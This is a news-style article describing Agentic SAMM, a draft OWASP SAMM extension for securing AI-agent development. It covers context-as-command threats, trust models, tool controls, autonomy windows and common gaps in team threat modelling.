OWASP SAMM gains Agentic SAMM extension for secure development with AI agents

Around OWASP SAMM, a new draft project has emerged: Agentic SAMM, or ASAMM — an extension for teams building products with AI agents and using models in development. Its goal is to close risks that classic secure SDLC sees poorly: malicious context, dangerous tool invocations, and overly long autonomy windows.

Why the old SAMM is not enough

Classic OWASP SAMM works well where the main protection objects are code, build, release, and delivery infrastructure. But in agentic systems, the attack surface extends further: into documents, tracker tasks, tool descriptions, web search results, CI logs, and any other content that the model reads as part of its working context. If this context influences agent behavior, it becomes part of the control plane, not just input data.

This is why the ASAMM author proposes looking at development not as a closed loop, but as a spiral. The team goes through design, implementation, and review again, but with each iteration, the system, tools, and threats themselves change. In such a scheme, it is no longer enough to verify that the agent was given correct permissions. Even a fully authorized agent can perform an action that does not match the original task if context or delegation logic leads it astray.

What ASAMM offers

ASAMM is not conceived as a replacement for OWASP SAMM, but as an extension for teams deploying AI agents, MCP servers, and automation with delegated permissions. The framework adds a separate layer of guarantees where traditional code review ends: at the boundary of tool invocations, in the context stream, at approval checkpoints, and in system behavior during execution. It does not cancel SAMM's basic practices but extends them to runtime behavior and delegated actions.

• A threat taxonomy for agentic systems, where context is treated as a potential command
• A two-axis trust model for agents, tools, MCP servers, and context sources
• A set of controls across SAMM's five functions with maturity levels and implementation scenarios
• Two deployment paths: migration from an existing security program or greenfield deployment
• Mapping to NIST AI RMF and NCSC recommendations for teams needing compatibility with already familiar frameworks

Special emphasis is placed on the development environment. IDE plugins, pre-commit hooks, CI agents, and external MCP connectors operate with developer privileges but often exist outside a complete threat model. For ASAMM, this is not a side element but a full-fledged analysis target: if an agent can read, invoke, and modify more than the team actually tracks, green statuses on dashboards cease to provide any guarantees. In fact, the development environment becomes production for the agent itself.

Where teams are already making mistakes

The material lists typical oversights that are especially visible in agentic development. A team may consider the threat model complete, even though it contains no context sources and no tool invocation paths. Code review may cover all code in a PR but not touch system prompts, tool call schemas, and agent configs. DAST may show a clean result, even though no one tested how the agent behaves with adversarial context. And least privilege is often implemented only at the service account level, without restricting the actual actions allowed through tools.

"No plan survives first contact."

The author uses this thought as a design principle: the system prompt should set intent, not attempt to rigidly script the entire behavior algorithm. Hence another critical risk parameter: the product of autonomy window and blast radius of available tools. The longer an agent acts without human checkpoint and the wider its set of capabilities, the higher the potential damage even with formally correct access rights. This is why autonomy windows become an architectural, not just operational, parameter.

What this means

Agentic SAMM captures a shift that has already occurred in AI development: security now checks not just code but system behavior after release. For teams building products on top of agents and vibe coding, this is a signal to revisit threat models, code review, and tool controls before the first autonomous error becomes a full-blown incident.